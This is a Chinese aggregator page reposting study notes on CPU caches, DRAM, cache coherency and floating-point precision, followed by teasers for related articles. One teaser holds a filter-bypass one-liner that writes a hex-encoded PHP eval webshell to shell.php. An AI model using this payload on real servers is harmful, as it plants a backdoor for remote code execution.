硬件结构 硬盘--

news/2024/4/30 9:50:52/文章来源:https://www.cnblogs.com/shenxiaodou/p/16610210.html

CPU 的高速缓存,通常可以分为 L1、L2、L3 这样的三层高速缓存,也称为一级缓存、二级缓存、三级缓存。

在 Linux 系统,我们可以通过这条命令,查看 CPU 里的 L1 Cache 「数据」缓存的容量大小:
$ cat /sys/devices/system/cpu/cpu0/cache/index0/size
32K

内存用的芯片和 CPU Cache 有所不同,它使用的是一种叫作 DRAM (Dynamic Random Access Memory,动态随机存取存储器) 的芯片。

相比 SRAM,DRAM 的密度更高,功耗更低,有更大的容量,而且造价比 SRAM 芯片便宜很多。

如何写出让 CPU 跑得更快的代码?
CPU 内部嵌入了 CPU Cache(高速缓存),它的存储容量很小,但是离 CPU 核心很近,所以缓存的读写速度是极快的,那么如果 CPU 运算时,直接从 CPU Cache 读取数据,而不是从内存的话,运算速度就会很快。

但是,大多数人不知道 CPU Cache 的运行机制,以至于不知道如何才能够写出能够配合 CPU Cache 工作机制的代码,一旦你掌握了它,你写代码的时候,就有新的优化思路了。

CPU Cache 是由很多个 Cache Line 组成的。
Cache Line 是由各种标志(Tag)+ 数据块(Data Block)

如何写出让 CPU 跑得更快的代码?

访问的数据在 CPU Cache 中的话,意味着缓存命中,缓存命中率越高的话,代码的性能就会越好,CPU 也就跑的越快。

经过测试,形式一 array[i][j] 执行时间比形式二 array[j][i] 快好几倍。

之所以有这么大的差距,是因为二维数组 array 所占用的内存是连续的,比如长度 N 的值是 2 的话,那么内存中的数组元素的布局顺序是这样的:

那访问 array[0][0] 元素时,CPU 具体会一次从内存中加载多少元素到 CPU Cache 呢?这个问题,在前面我们也提到过,这跟 CPU Cache Line 有关,它表示 CPU Cache 一次性能加载数据的大小,可以在 Linux 里通过 coherency_line_size 配置查看 它的大小,通常是 64 个字节。

分支预测器 先排序后遍历速度快

2.4 cpu缓存一致性
保持内存与 Cache 一致性最简单的方式是,把数据同时写入内存和 Cache 中,这种方法称为写直达(Write Through)。

在写回机制中,当发生写操作时,新的数据仅仅被写入 Cache Block 里,只有当修改过的 Cache Block「被替换」时才需要写到内存中,减少了数据写回内存的频率,这样便可以提高系统的性能。
修改过的cache才需要写回内存。

这时如果 A 号核心执行了 i++ 语句的时候,为了考虑性能,使用了我们前面所说的写回策略,先把值为 1 的执行结果写入到 L1/L2 Cache 中,然后把 L1/L2 Cache 中对应的 Block 标记为脏的,这个时候数据其实没有被同步到内存中的,因为写回策略,只有在 A 号核心中的这个 Cache Block 要被替换的时候,数据才会写入到内存里。
如果这时旁边的 B 号核心尝试从内存读取 i 变量的值,则读到的将会是错误的值,因为刚才 A 号核心更新 i 值还没写入到内存中,内存中的值还依然是 0。

修复!
第一点,某个 CPU 核心里的 Cache 数据更新时,必须要传播到其他核心的 Cache,这个称为写传播(Write Propagation); 传播到其他 cache

那么问题就来了,C 号核心先收到了 A 号核心更新数据的事件,再收到 B 号核心更新数据的事件,因此 C 号核心看到的变量 i 是先变成 100,后变成 200。

而如果 D 号核心收到的事件是反过来的,则 D 号核心看到的是变量 i 先变成 200,再变成 100,虽然是做到了写传播,但是各个 Cache 里面的数据还是不一致的。

所以,我们要保证 C 号核心和 D 号核心都能看到相同顺序的数据变化,比如变量 i 都是先变成 100,再变成 200,这样的过程就是事务的串行化。

为什么 0.1 + 0.2 不等于 0.3 ?

由于计算机的资源是有限的,所以是没办法用二进制精确的表示 0.1,只能用「近似值」来表示,就是在有限的精度情况下,最大化接近 0.1 的二进制数,于是就会造成精度缺失的情况。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_2415.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux kernal note

linux kernal note 内核体系结构 内核由五个模块构成 进程调度模块(核心) 内存管理模块 文件系统模块 进程间通信模块 网络接口模块内存管理 内存条分区 内存分为以下几个功能模块:从前到后为内核模块、高速缓存区(包含显存和BIOS ROM)、虚拟盘、主内存区。linux分页分段管…

Hadoop及其三大组件原理

Hadoop是什么? 由Apache基金会开发的分布式系统基础架构 海量数据的存储和分析计算 Hadoop架构历史: 1.0 HDFS和MapReduce 2.0 在1.0基础上增加了YARN(任务调度),解放了MapReduce 3.0 和2.0类似,着重优化 Hadoop优势: 1)高可靠性 多数据副本 2)高扩展性 动态扩展,动态…

Java 断点下载(下载续传)服务端及客户端(Android)代码

原文: Java 断点下载(下载续传)服务端及客户端(Android)代码 - Stars-One的杂货小窝最近在研究断点下载(下载续传)的功能,此功能需要服务端和客户端进行对接编写,本篇也是记录一下关于贴上关于实现服务端(Spring Boot)与客户端(Android)是如何实现下载续传功能 断点下载功能(…

深入flex 中align-items属性

设置外层盒子flex 显示宽度为自己盒子本身宽度 高度被拉高整个盒子设置为垂直方向的对齐方式 align-items:flex-start 盒子不将被拉伸 显示元素本身的高度align-items:center 盒子不将被拉伸 显示元素本身的高度align-items:stretch 元素拉伸

软件测试入门三(软件bug)

一、什么是软件bug 一个手机,如果他的屏幕碎了、裂了,拐角磕碰瑕疵,这些都是手机的缺陷。 软件就好比这款手机,出现了各种各样的问题,就是软件的bug(缺陷) 软件在测试过程中发现的bug,属于正常情况,因为能够在测试过程中被发现得到修改,如果bug出现在线上,就是线上事…

Activiti可视化流程管理器

1.简介 Activiti是一个业务流程管理(BPM)框架,它是覆盖了业务流程管理,工作流,服务协作等领域的一个开源,灵活的,易扩展的可执行流程语言框架。在Java工作流引擎中可谓是主流,我们的项目也是使用的这个框架进行流程相关的开发。与流程息息相关的就是我们的流程定义BPMN文件…

函数式接口-常见函数式接口-Supplier接口

常见函数式接口Supplier接口: java.util.function.Supplier<T>接口仅包含一个无参的方法:T get()。用来获取一个泛型参数指定类型的对象数据。Supplier<T>接口被称之为生产型接口,指定接口的泛型是什么类型,那么接口中的get方法就会生产什么类型的数据 代码:p…

CF(div2)816 A~C

A Crossmarket思维 矩阵走路径,发现走Z字型怎么走都是一样的耗费,所以直接O(1)算出来就好/** |~~~~~~~|* | |* | |* | |*…

聊聊项目中分表的实际应用-2022新项目

一、业务场景Web项目开发中,分表是时常会使用到的方式。分表的一个目的是为了缓解单表数据量过大,导致操作时 性能下降的问题。可是在实际开发中应该如何进行进行分表呢?那种分表方式更符合实际呢? 二、需求分析网上随便去搜索一下就会发现有很多的分表方式,比如常规的垂直…

数组

概念:一组相同数据的容器相同类型:Java语言中要求存入数组的数据类型必须一直 容器:类似于生活中存放物品的容器,在编程世界中,容器可以用来存放数据 一组:容器中可以存放多个数据声明数组变量int [] ageArray;创建数组对象ageArray = new int[5];静态创建数组int [] ageArray …

11.3 垃圾回收相关概念

目录11.3.1 System.gc()的理解11.3.2 内存溢出与内存泄漏内存溢出(OOM)内存泄漏(Memory Leak)11.3.3 Stop The World11.3.4 垃圾回收的并行与并发并发(Concurrent)并行(Parallel)并发 VS 并行11.3.5 安全点与安全区域安全点(Safepoint)安全区域(Safe Region)引用概…

过滤符号,Linux下写入Webshell

最近的学习生活中,看到了好兄弟写出的这么一句话让我陷入沉思,是否>被过滤,就意味着写入不了Webshell了?于是有了下面的Payload 只要|没被过滤,就有可能写入成功! echo 3c3f70687020406576616c28245f504f53545b277479736563275d293b3f3e|xxd -ps -r|tee shell.php

《GB27951-2011》PDF下载

《GB27951-2011 皮肤消毒剂卫生要求》PDF下载 《GB27951-2011》简介本标准规定了皮肤消毒剂的技术要求、试验方法、使用方法、标签和说明书以及使用注意事项; 本标准适用于完整皮肤和破损皮肤消毒的消毒剂,不适用于手消毒剂。 《GB27951-2011》截图 《GB27951-2011》下载 网…

java中静态成员变量、静态代码块static执行时机

java中静态成员变量与静态块会比构造函数先执行,并且只会执行一次,一个类中有多个static修饰的成员变量或者代码块,会按照代码中先后的顺序执行 请看下面的示例:public class Test {public static void main(String[] args) {Out out1 = new Out();} }public class Out {st…

软件测试入门二(了解软件)

一、什么是软件 软件:通过大代码逻辑开发出来的程序,称为软件。二、软件的种类 web端:电脑、手机的浏览器可以打开的网页,就是web的软件。比如:公司官网、淘宝网等等 客户端:电脑客户端:需要在电脑上进行安装的软件,比如:PC端的英雄联盟、QQ等等,手机端(移动端、app…

解决uni-app小程序导航栏标题不显示问题

用HBuilder开发小程序 创建页面时默认配置了导航文字和下拉刷新 默认导航文字为空 局部配置会覆盖全局配置,所以我们在globalStyle中做的导航全局配置只有背景颜色会生效,文字被页面的局部配置覆盖掉了 可以将页面的配置删掉或加上内容 删掉就是显示全局配置的文字,加上内容…

学习 day1

数据和指令是分开区域存放的,存放指令区域的地方称为「正文段」编译器会把 a = 1 + 2 翻译成 4 条指令,存放到正文段中。如图,这 4 条指令被存放到了 0x200 ~ 0x20c 的区域中: 1、0x200 的内容是 load 指令将 0x100 地址中的数据 1 装入到寄存器 R0; 2、0x204 的内容是 lo…

flex align-items 属性项目在交叉轴上对齐

1,align-items: flex-start;2,align-items: flex-end;2,align-items: center;2,align-items: baseline;2,align-items: stretch;

java对象转json

java对象转json json解析器:常见的解析器:Jsonlib,Gson,fastjson,jackson 使用步骤:1、导入jackson的相关jar包2、创建Jackson核心对象 ObjectMapper3、调用ObjectMapper的相关方法进行转换 转换方法: writeValue(参数1,obj); 参数1: File:将obj对象转换诶J…

Flex 布局 display:flex 与 inline-flex 区别

1.Flex布局 display:flex.bigbox{ width: 500px; height: 400px; background:#ff0000; display: flex; } .smallbox{ width: 100px; height: 100px; background: #f5f5f5; margin: 10px; }<span>flex</span> <div class="bigb…